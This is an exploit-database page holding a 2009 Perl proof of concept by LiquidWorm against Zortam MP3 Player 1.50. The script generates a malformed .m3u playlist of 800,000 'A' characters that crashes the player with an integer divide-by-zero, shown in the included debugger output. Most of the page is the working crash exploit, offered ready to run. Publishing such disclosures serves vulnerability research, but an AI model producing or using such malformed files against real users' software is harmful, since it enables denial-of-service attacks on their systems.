[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Exploit
# Published : 2009-07-16
# Author : LiquidWorm
# Previous Title : Music Tag Editor 1.61 build 212 Remote Buffer Overflow PoC
# Next Title : Zortam MP3 Media Studio 9.40 Multiple Memory Corruption Vulns


#!/usr/bin/perl
#
# Title: Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Vulnerability
# Product Web Page: http://www.zortam.com
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
#
###===---
#
# (1c0.7f8): Integer divide-by-zero - code c0000094 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000000d ebx=0019be80 ecx=00000000 edx=00000000 esi=0180f5dc edi=0000000a
# eip=0040f294 esp=0012f588 ebp=0180f570 iopl=0         nv up ei pl nz ac po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for zPlayer.exe - 
# zPlayer+0xf294:
# 0040f294 f7f9            idiv    eax,ecx
#
###===---
#
#
# Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.org
# 16.07.2009
#

$fle = "Kung_PoW.m3u";
$mna = "A" x 800000;
print "nn[+] Creating playlist file: $fle ...rn";
sleep 1;
open(m3u, ">./$fle") || die "naCannot open $fle: $!";
print m3u "$mna";
close (m3u);
print "n[+] Playlist file successfully created!rn";

# www.Syue.com [2009-07-16]